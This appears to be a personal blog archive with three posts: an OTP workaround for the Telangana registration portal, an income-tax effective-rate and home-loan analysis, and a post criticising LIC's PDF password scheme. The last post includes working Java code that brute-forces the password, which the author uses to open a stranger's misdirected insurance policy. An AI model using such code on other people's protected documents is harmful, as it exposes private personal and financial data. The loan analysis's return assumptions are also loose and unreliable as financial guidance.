Author: Nirupam Biswas

registration.telangana.gov.in is a one stop shop to search for all registered documents. Anyone who has bought a property or wants to buy one, this is an excellent portal provided by the State Government to check for encumbrance and other details about the property.

The problem

To access these functions you need to register here, which you did; and after that when you try to login you are presented with a form where you need to enter OTP which you will get from SMS sent to your phone. However, the SMS never arrives. You click on – Resent OTP, and still nothing, no SMS. You call up the toll free helpline which is there on the portal’s header, and they ask you to clear browser history and retry. You do that diligently, inside your mind you know that it will do noting to help you. Anyway, you follow the instructions and retry and still the same issue. – If this is what happened to you as well, read on….

After some clicking around I figured that if I tried using the “Forgot password” functionality then that too sends OTP via SMS and there the SMS is actually delivered!

The solution

When you login and you are confronted with that OTP form then open another browser tab and open https://registration.telangana.gov.in/citizen_forgot_pwd.htm. Enter your email or mobile number. This will send a OTP SMS now. Instead of putting it there use that OTP on your post login form, and it will now successfully validate! Yeah!

In India the Income tax calculation is quite complicated. There are different slabs with varying percentages, then surcharges, education and health cess etc. Do you know what is the cumulative effect of all these various percentages on your net income?

Effective income tax rate is the percentage value of your final tax amount by your net taxable income after all deductions. This gives a clear picture of what percentage of your income is going to the government.

This analysis is not only a fun way to feel proud or… maybe sad. This also useful to make decisions like should I take home loan or pay it out of pocket? Yup sometimes taking loan is actually more economical!

First let us look at the tax amounts for taxable income ranging from zero to 5Cr, in FY 2020-2021.

See the Pen Effective Income Tax rate by Nirupam (@applegrew) on CodePen.

Next let’s look at the effective tax rate for zero to 6Cr net taxable income range. (In both the graphs the blue line is when the “new-regime” tax slab is used, and the orange line for “old regime”). The comparison for both the regimes are here – Deep dive into new tax regime of Budget 2020.

See the Pen Effective Income Tax rate by Nirupam (@applegrew) on CodePen.

In the above graph the first cliff comes at 50L mark, then at 1Cr (which is mentioned as 10M on the graph), lastly at 2Cr mark. At 2Cr the effective tax rate is whooping 43%!

Scenario: Home loan vs paying out of pocket

Now let us say you are earning 1.5Cr a year. You want to buy a 2Cr worth house (inclusive of all fees). You are able to save 1Cr a year. So that means you can pretty much pay for the house out of pocket in two years. Also since house is under construction which will need next 3years to actually complete. In this case we will talk in context of two different situations.

You take a home loan 1.6Cr for at 7.2% for 20years. Let’s use our calculator from Calculating Amortisation Schedule of your loans. You will need to pay back total 3,02,34,176 over the course of 20years. (Plus some processing fees, which would be small in comparison here). So your total expenditure would be 3.02Cr + 40L (out of pocket) = 3.42Cr.

Instead let’s say you paid for the full amount out of pocket then the cost of house would had be exact 2Cr.

However, in the case where you took loan, if you had invested the 1.6Cr amount in Mutual Funds, which typically returns about 12%; you would have got 12.3Cr at the end of 18years! (Assuming it took two year to accumulate 1.6Cr after all expenses.) Even if you invest in the safest MFs like Liquid funds which gives a typical return of 5% you would have got 3.85Cr at the end of 18yrs. 3.85-3.42 = 43L. Means you got the house practically for free with 43L to spare. OR more than 8Cr to spare in former case.

Not only that you would save on taxes due to deductions due to home loan under 80C and section 24.

Long long ago I created a Gmail account for my (now) late grandfather. It seems someone else who shares the same name as my grandfather has provided and continues to provide that email as his own. Over the years I have been receiving random emails addressed to that person. I can tell they are not addressed to my grandfather since the contents in no way relate to my grandfather and he has been dead for a long time. I still have access to that email, so it very possible that the other person is some old fellow who does not quite understand emails.

Anyway fast forward to today. I received mail from LIC for the purchase of e-policy; addressed to that person. Below is the screenshot of that email.

The email has two attachments. The second is general terms and condition but the first one is actual policy document. It is password protected. Which is a joke and the whole point for this post.

The section in red box are the rules for the password. The password is the policy number followed by date of birth in DDMM format (note no year is needed). The nine-digit policy number is provided in clear in the subject of the email and also in the names of the two attachments! The remaining part is just figuring out DDMM. That is it!

I then wrote the following Java code.

import com.lowagie.text.exceptions.BadPasswordException;
import com.lowagie.text.pdf.PdfReader;
import com.lowagie.text.pdf.parser.PdfTextExtractor;

import java.io.IOException;

public class Main {
    static final String READ_PDF = "/Path/to_password_protected_policy_doc.pdf";

    public static void main(String[] args) {
        PdfReader pdfreader = null;
        int m = 1;
        int d = 1;
        while (m <= 12) {
            String password = "<policy number here>";
            if (d < 10) {
                password += "0" + d;
            } else {
                password += d;
            }
            if (m < 10) {
                password += "0" + m;
            } else {
                password += m;
            }
            try {
                pdfreader = new PdfReader(READ_PDF, password.getBytes());
                
                // get pages in PDF - Not really needed
                int pages = pdfreader.getNumberOfPages();
                PdfTextExtractor pdfTextExtractor = new PdfTextExtractor(pdfreader);
                // Iterate through pages to read content
                for (int i = 1; i <= pages; i++) {
                    // Extract content of each page
                    String contentOfPage = pdfTextExtractor.getTextFromPage(i, true);
                    System.out.println(contentOfPage);
                }

                System.out.println("THE PASSWORD IS: " + password);
                break;
            } catch (BadPasswordException bp) {
                System.err.println("bad password: " + password);
            } catch (IOException e) {
                e.printStackTrace();
                break;
            } finally {
                if (pdfreader != null) {
                    pdfreader.close();
                }
            }
            if (d >= 31) {
                d = 1;
                m++;
            } else {
                d++;
            }
        }
    }
}

In the code above I did not even bother to check if the month really has 30 or 28 days. That really does not matter since invalid combinations will not yield a valid password. So it just wastes some time.

However, it took few milli seconds to get the right password. LIC get your acts together. This is sad. Such a large organisation with such a weak security posture is alarming.